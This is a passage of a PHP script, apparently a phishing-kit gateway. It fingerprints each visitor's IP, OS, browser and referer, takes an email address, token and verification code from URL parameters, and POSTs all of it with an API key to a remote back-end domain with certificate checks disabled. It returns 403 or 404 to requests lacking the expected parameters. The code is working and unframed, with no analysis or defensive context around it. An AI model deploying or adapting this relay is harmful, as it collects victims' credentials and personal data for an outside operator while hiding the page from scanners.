'Windows 10', '/windows nt 6.3/i' => 'Windows 8.1', '/windows nt 6.2/i' => 'Windows 8', '/windows nt 6.1/i' => 'Windows 7', '/windows nt 6.0/i' => 'Windows Vista', '/windows nt 5.2/i' => 'Windows Server 2003/XP x64', '/windows nt 5.1/i' => 'Windows XP', '/windows xp/i' => 'Windows XP', '/windows nt 5.0/i' => 'Windows 2000', '/windows me/i' => 'Windows ME', '/win98/i' => 'Windows 98', '/win95/i' => 'Windows 95', '/win16/i' => 'Windows 3.11', '/macintosh|mac os x/i' => 'Mac OS X', '/mac_powerpc/i' => 'Mac OS 9', '/linux/i' => 'Linux', '/ubuntu/i' => 'Ubuntu', '/iphone/i' => 'iPhone', '/ipod/i' => 'iPod', '/ipad/i' => 'iPad', '/android/i' => 'Android', '/blackberry/i' => 'BlackBerry', '/webos/i' => 'Mobile' ); foreach ($all as $regex => $value) { if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) { $os_platform = $value; } } return urlencode($os_platform); } function getBrowser() { $browser = "Unknown Browser"; $all = array( '/msie/i' => 'Internet Explorer', '/firefox/i' => 'Firefox', '/safari/i' => 'Safari', '/chrome/i' => 'Chrome', '/edge/i' => 'Edge', '/opera/i' => 'Opera', '/netscape/i' => 'Netscape', '/maxthon/i' => 'Maxthon', '/konqueror/i' => 'Konqueror', '/mobile/i' => 'Handheld Browser' ); foreach ($all as $regex => $value) { if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) { $browser = $value; } } return $browser; } function sendRequest($post_data) { $CURLOPT_URL = 'https://' . getdomain()."/".FILE_NAME; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $CURLOPT_URL); curl_setopt($ch, CURLOPT_POST,true); //curl_setopt($ch, CURLOPT_HEADER,true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 400); $x = curl_exec($ch); if (curl_errno($ch)) { echo 'Error:' . curl_error($ch); } curl_close($ch); if ($x == '403'){ return header('HTTP/1.0 403 Forbidden'); }elseif($x == "404"){ return header('HTTP/1.0 404 Not Found'); }else{ return $x; } } if (isset($_GET[GET_PARAM])) { $IP = getIp(); $language = getLanguage(); $os = getOs(); $browser = getBrowser(); $token = $_GET[GET_PARAM]; $verifycode = $_GET['verifycode']; $email = $_GET['em']; $uniqid = $_GET['uniqid']; $referer = $_SERVER['HTTP_REFERER']; $post_data = [ 'apikey' => APIKEY, 'ip' => $IP, 'language' => $language, 'os' => $os, 'browser' => $browser, 'phpusergent' => $_SERVER['HTTP_USER_AGENT'], 'token' => $token, 'verifycode' => $verifycode, 'em' => $email, 'uniqid' => $uniqid, 'referer' => $referer, 'start' => 0 ]; echo sendRequest($post_data); }elseif (isset($_GET['process'])) { $apitoken = $_GET['apitoken']; $IP = getIp(); $post_data = [ 'process' => 1, 'apitoken' => $apitoken, 'ip' => $IP ]; echo sendRequest($post_data); }elseif (isset($_GET['auth'])) { $apitoken = $_GET['apitoken']; $IP = getIp(); $post_data = [ 'auth' => 1, 'apitoken' => $apitoken, 'ip' => $IP ]; echo sendRequest($post_data); }elseif (isset($_GET[APIKEY])) { exit(GET_PARAM); }else{ header('HTTP/1.0 403 Forbidden', true, 404); exit(); } ?>